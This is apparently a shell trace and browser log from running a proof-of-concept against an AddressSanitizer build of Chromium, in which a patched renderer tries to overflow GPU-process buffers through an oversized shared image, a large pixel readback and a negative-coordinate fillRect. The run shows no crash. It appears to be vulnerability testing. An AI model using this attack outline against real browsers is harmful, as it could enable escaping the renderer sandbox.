+ CHROMIUM_SRC=/chromium/chromium/src
+ OUT=/chromium/chromium/src/out/asan
+ PORT=18337
++ dirname /poc-artifacts/run_chrome_poc.sh
+ cd /poc-artifacts
+ SRV=5417
+ trap 'kill $SRV 2>/dev/null' EXIT
+ sleep 1
+ python3 server.py 18337
[server] serving on http://127.0.0.1:18337/
+ rm -rf /tmp/chrome-poc-profile
+ ASAN_OPTIONS=handle_segv=1:symbolize=1:detect_odr_violation=0:detect_leaks=0
+ ASAN_SYMBOLIZER_PATH=/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer
+ timeout 180 /chromium/chromium/src/out/asan/chrome --no-sandbox --no-first-run --no-default-browser-check --user-data-dir=/tmp/chrome-poc-profile --enable-skia-graphite --skia-graphite-dawn-backend=swiftshader --use-gl=angle --use-angle=swiftshader --enable-logging=stderr --v=0 --disable-hang-monitor http://127.0.0.1:18337/poc.html
[5453:5453:0524/165809.155271:WARNING:media/gpu/vaapi/vaapi_wrapper.cc:1587] drmGetDevices2() has not found any devices
[5453:5453:0524/165809.166148:WARNING:sandbox/policy/linux/sandbox_linux.cc:404] InitializeSandbox() called with multiple threads in process gpu-process.
[5421:5421:0524/165809.175626:WARNING:chrome/browser/signin/account_consistency_mode_manager.cc:74] Desktop Identity Consistency cannot be enabled as no OAuth client ID and client secret have been configured.
[5453:5453:0524/165809.180819:WARNING:ui/gfx/linux/gbm_support_x11.cc:48] dri3 extension not supported.

[server] "GET /poc.html HTTP/1.1" 200 -
[5517:5517:0524/165809.634984:ERROR:third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc:1748] POC: CopyPlaneOverflowAttackFromRenderer firing
[5453:5453:0524/165809.637084:INFO:third_party/skia/src/gpu/graphite/ResourceProvider.cpp:263] [skia] [graphite] Call to createBackendTexture has requested dimensions (16384, 8192) larger than the supported gpu max texture size: 8192. Or the dimensions are empty.

[5453:5453:0524/165809.637179:ERROR:gpu/command_buffer/service/shared_image/wrapped_graphite_texture_backing.cc:190] createBackendTexture() failed with format:RGBA_8888
[5453:5453:0524/165809.637238:ERROR:gpu/command_buffer/service/shared_image/shared_image_factory.cc:1065] CreateSharedImage: could not create backing.
[5453:5453:0524/165809.637279:ERROR:gpu/ipc/service/shared_image_stub.cc:225] SharedImageStub: Unable to create shared image
[5517:5517:0524/165809.637990:ERROR:gpu/ipc/client/command_buffer_proxy_impl.cc:488] GPU state invalid after WaitForGetOffsetInRange.
[5517:5517:0524/165809.638060:ERROR:third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc:1794] POC: issuing ReadbackImagePixels 16384x8192/F32 row_bytes=262144
[5517:5517:0524/165809.638898:ERROR:third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc:1801] POC: ReadbackImagePixels returned (GPU did not crash)
[5421:5421:0524/165809.663799:WARNING:ui/base/idle/idle_linux.cc:111] None of the known D-Bus ScreenSaver services could be used.
[5421:5421:0524/165809.689258:INFO:CONSOLE:10] "triggering compromised-renderer simulation via fillRect(-13337,…)", source: http://127.0.0.1:18337/poc.html (10)
[5421:5421:0524/165809.690735:INFO:CONSOLE:10] "fillRect returned (check GPU-process stderr for ASAN report)", source: http://127.0.0.1:18337/poc.html (10)
[server] code 404, message File not found
[server] "GET /favicon.ico HTTP/1.1" 404 -
Warning: vkCreateInstance: Found no drivers!
Warning: vkCreateInstance failed with VK_ERROR_INCOMPATIBLE_DRIVER
    at CheckVkSuccessImpl (../../third_party/dawn/src/dawn/native/vulkan/VulkanError.cpp:106)

Warning: maxDynamicUniformBuffersPerPipelineLayout artificially reduced from 72 to 16 to fit dynamic offset allocation limit.
Warning: maxDynamicStorageBuffersPerPipelineLayout artificially reduced from 64 to 16 to fit dynamic offset allocation limit.
+ kill 5417